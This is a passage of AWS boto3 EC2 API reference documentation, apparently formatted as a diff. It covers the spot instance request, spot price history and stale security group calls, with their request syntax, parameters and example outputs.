a network interface. + + * **Primary** _(boolean) --_ + + Indicates whether the private IPv4 address is the primary private IPv4 address. Only one IPv4 address can be designated as primary. + + * **PrivateIpAddress** _(string) --_ + + The private IPv4 addresses. + + * **SecondaryPrivateIpAddressCount** _(integer) --_ + + The number of secondary private IPv4 addresses. You can't specify this option and specify more than one private IP address using the private IP addresses option. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + * **SubnetId** _(string) --_ + + The ID of the subnet associated with the network interface. Applies only if creating a network interface when launching an instance. + + * **AssociateCarrierIpAddress** _(boolean) --_ + + Indicates whether to assign a carrier IP address to the network interface. + + You can only assign a carrier IP address to a network interface that is in a subnet in a Wavelength Zone. For more information about carrier IP addresses, see Carrier IP addresses in the AWS Wavelength Developer Guide. + + * **InterfaceType** _(string) --_ + + The type of network interface. + + To create an Elastic Fabric Adapter (EFA), specify efa . For more information, see [Elastic Fabric Adapter](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/efa.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + If you are not creating an EFA, specify interface or omit this parameter. + + Valid values: interface | efa + + * **NetworkCardIndex** _(integer) --_ + + The index of the network card. Some instance types support multiple network cards. The primary network interface must be assigned to network card index 0. The default is network card index 0. + + * **Placement** _(dict) --_ + + The placement information for the instance. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone. + + [Spot Fleet only] To specify multiple Availability Zones, separate them using commas; for example, "us-west-2a, us-west-2b". + + * **GroupName** _(string) --_ + + The name of the placement group. + + * **Tenancy** _(string) --_ + + The tenancy of the instance (if the instance is running in a VPC). An instance with a tenancy of dedicated runs on single-tenant hardware. The host tenancy is not supported for Spot Instances. + + * **RamdiskId** _(string) --_ + + The ID of the RAM disk. + + * **SubnetId** _(string) --_ + + The ID of the subnet in which to launch the instance. + + * **Monitoring** _(dict) --_ + + Describes the monitoring of an instance. + + * **Enabled** _(boolean) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + * **LaunchedAvailabilityZone** _(string) --_ + + The Availability Zone in which the request is launched. + + * **ProductDescription** _(string) --_ + + The product description associated with the Spot Instance. + + * **SpotInstanceRequestId** _(string) --_ + + The ID of the Spot Instance request. + + * **SpotPrice** _(string) --_ + + The maximum price per hour that you are willing to pay for a Spot Instance. + + * **State** _(string) --_ + + The state of the Spot Instance request. Spot status information helps track your Spot Instance requests. For more information, see [Spot status](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-bid-status.html) in the _Amazon EC2 User Guide for Linux Instances_ . + + * **Status** _(dict) --_ + + The status code and status message describing the Spot Instance request. + + * **Code** _(string) --_ + + The status code. For a list of status codes, see [Spot status codes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-bid-status.html#spot-instance-bid-status-understand) in the _Amazon EC2 User Guide for Linux Instances_ . + + * **Message** _(string) --_ + + The description for the status code. + + * **UpdateTime** _(datetime) --_ + + The date and time of the most recent status update, in UTC format (for example, _YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). + + * **Tags** _(list) --_ + + Any tags assigned to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **Type** _(string) --_ + + The Spot Instance request type. + + * **ValidFrom** _(datetime) --_ + + The start date of the request, in UTC format (for example, _YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). The request becomes active at this date and time. + + * **ValidUntil** _(datetime) --_ + + The end date of the request, in UTC format (_YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). + + * For a persistent request, the request remains active until the validUntil date and time is reached. Otherwise, the request remains active until you cancel it. + * For a one-time request, the request remains active until all instances launch, the request is canceled, or the validUntil date and time is reached. By default, the request is valid for 7 days from the date the request was created. + * **InstanceInterruptionBehavior** _(string) --_ + + The behavior when a Spot Instance is interrupted. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next set of results. This value is null when there are no more results to return. + + +**Examples** + +This example describes the specified Spot Instance request. + +response = client.describe_spot_instance_requests( + SpotInstanceRequestIds=[ + 'sir-08b93456', + ], +) + +print(response) + +Expected Output: + +{ + 'SpotInstanceRequests': [ + { + 'CreateTime': datetime(2014, 4, 30, 18, 14, 55, 2, 120, 0), + 'InstanceId': 'i-1234567890abcdef0', + 'LaunchSpecification': { + 'BlockDeviceMappings': [ + { + 'DeviceName': '/dev/sda1', + 'Ebs': { + 'DeleteOnTermination': True, + 'VolumeSize': 8, + 'VolumeType': 'standard', + }, + }, + ], + 'EbsOptimized': False, + 'ImageId': 'ami-7aba833f', + 'InstanceType': 'm1.small', + 'KeyName': 'my-key-pair', + 'SecurityGroups': [ + { + 'GroupId': 'sg-e38f24a7', + 'GroupName': 'my-security-group', + }, + ], + }, + 'LaunchedAvailabilityZone': 'us-west-1b', + 'ProductDescription': 'Linux/UNIX', + 'SpotInstanceRequestId': 'sir-08b93456', + 'SpotPrice': '0.010000', + 'State': 'active', + 'Status': { + 'Code': 'fulfilled', + 'Message': 'Your Spot request is fulfilled.', + 'UpdateTime': datetime(2014, 4, 30, 18, 16, 21, 2, 120, 0), + }, + 'Type': 'one-time', + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_spot_price_history(kwargs_) + +Describes the Spot price history. For more information, see [Spot Instance pricing history](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-spot-instances-history.html) in the _Amazon EC2 User Guide for Linux Instances_ . + +When you specify a start and end time, this operation returns the prices of the instance types within the time range that you specified and the time when the price changed. The price is valid within the time period that you specified; the response merely indicates the last time that the price changed. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSpotPriceHistory) + +**Request Syntax** + +response = client.describe_spot_price_history( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + AvailabilityZone='string', + DryRun=True|False, + EndTime=datetime(2015, 1, 1), + InstanceTypes=[ + 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + ], + MaxResults=123, + NextToken='string', + ProductDescriptions=[ + 'string', + ], + StartTime=datetime(2015, 1, 1) +) + +Parameters + +* **Filters** (_list_) -- + + One or more filters. + + * availability-zone - The Availability Zone for which prices should be returned. + * instance-type - The type of instance (for example, m3.medium ). + * product-description - The product description for the Spot price (Linux/UNIX | Red Hat Enterprise Linux | SUSE Linux | Windows | Linux/UNIX (Amazon VPC) | Red Hat Enterprise Linux (Amazon VPC) | SUSE Linux (Amazon VPC) | Windows (Amazon VPC) ). + * spot-price - The Spot price. The value must match exactly (or use wildcards; greater than or less than comparison is not supported). + * timestamp - The time stamp of the Spot price history, in UTC format (for example, _YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). You can use wildcards (* and ?). Greater than or less than comparison is not supported. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **AvailabilityZone** (_string_) -- Filters the results by the specified Availability Zone. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **EndTime** (_datetime_) -- The date and time, up to the current date, from which to stop retrieving the price history data, in UTC format (for example, _YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). +* **InstanceTypes** (_list_) -- + + Filters the results by the specified instance types. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. Specify a value between 1 and 1000. The default value is 1000. To retrieve the remaining results, make another call with the returned NextToken value. +* **NextToken** (_string_) -- The token for the next set of results. +* **ProductDescriptions** (_list_) -- + + Filters the results by the specified basic product descriptions. + + * _(string) --_ +* **StartTime** (_datetime_) -- The date and time, up to the past 90 days, from which to start retrieving the price history data, in UTC format (for example, _YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NextToken': 'string', + 'SpotPriceHistory': [ + { + 'AvailabilityZone': 'string', + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge#39;|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'ProductDescription': 'Linux/UNIX'|'Linux/UNIX (Amazon VPC)'|'Windows'|'Windows (Amazon VPC)', + 'SpotPrice': 'string', + 'Timestamp': datetime(2015, 1, 1) + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of DescribeSpotPriceHistory. + + * **NextToken** _(string) --_ + + The token required to retrieve the next set of results. This value is null or an empty string when there are no more results to return. + + * **SpotPriceHistory** _(list) --_ + + The historical Spot prices. + + * _(dict) --_ + + Describes the maximum price per hour that you are willing to pay for a Spot Instance. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone. + + * **InstanceType** _(string) --_ + + The instance type. + + * **ProductDescription** _(string) --_ + + A general description of the AMI. + + * **SpotPrice** _(string) --_ + + The maximum price per hour that you are willing to pay for a Spot Instance. + + * **Timestamp** _(datetime) --_ + + The date and time the request was created, in UTC format (for example, _YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). + + +**Examples** + +This example returns the Spot Price history for m1.xlarge, Linux/UNIX (Amazon VPC) instances for a particular day in January. + +response = client.describe_spot_price_history( + EndTime=datetime(2014, 1, 6, 8, 9, 10, 0, 6, -1), + InstanceTypes=[ + 'm1.xlarge', + ], + ProductDescriptions=[ + 'Linux/UNIX (Amazon VPC)', + ], + StartTime=datetime(2014, 1, 6, 7, 8, 9, 0, 6, -1), +) + +print(response) + +Expected Output: + +{ + 'SpotPriceHistory': [ + { + 'AvailabilityZone': 'us-west-1a', + 'InstanceType': 'm1.xlarge', + 'ProductDescription': 'Linux/UNIX (Amazon VPC)', + 'SpotPrice': '0.080000', + 'Timestamp': datetime(2014, 1, 6, 4, 32, 53, 0, 6, 0), + }, + { + 'AvailabilityZone': 'us-west-1c', + 'InstanceType': 'm1.xlarge', + 'ProductDescription': 'Linux/UNIX (Amazon VPC)', + 'SpotPrice': '0.080000', + 'Timestamp': datetime(2014, 1, 5, 11, 28, 26, 6, 5, 0), + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_stale_security_groups(kwargs_) + +[VPC only] Describes the stale security group rules for security groups in a specified VPC. Rules are stale when they reference a deleted security group in a peer VPC, or a security group in a peer VPC for which the VPC peering connection has been deleted. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeStaleSecurityGroups) + +**Request Syntax** + +response = client.describe_stale_security_groups( + DryRun=True|False, + MaxResults=123, + NextToken='string', + VpcId='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **MaxResults** (_integer_) -- The maximum number of items to return for this request. The request returns a token that you can specify in a subsequent call to get the next set of results. +* **NextToken** (_string_) -- The token for the next set of items to return. (You received this token from a prior call.) +* **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NextToken': 'string', + 'StaleSecurityGroupSet': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'StaleIpPermissions': [ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + 'string', + ], + 'PrefixListIds': [ + 'string', + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ], + 'StaleIpPermissionsEgress': [ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + 'string', + ], + 'PrefixListIds': [ + 'string', + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ], + 'VpcId': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **NextToken** _(string) --_ + + The token to use when requesting the next set of items. If there are no additional items to 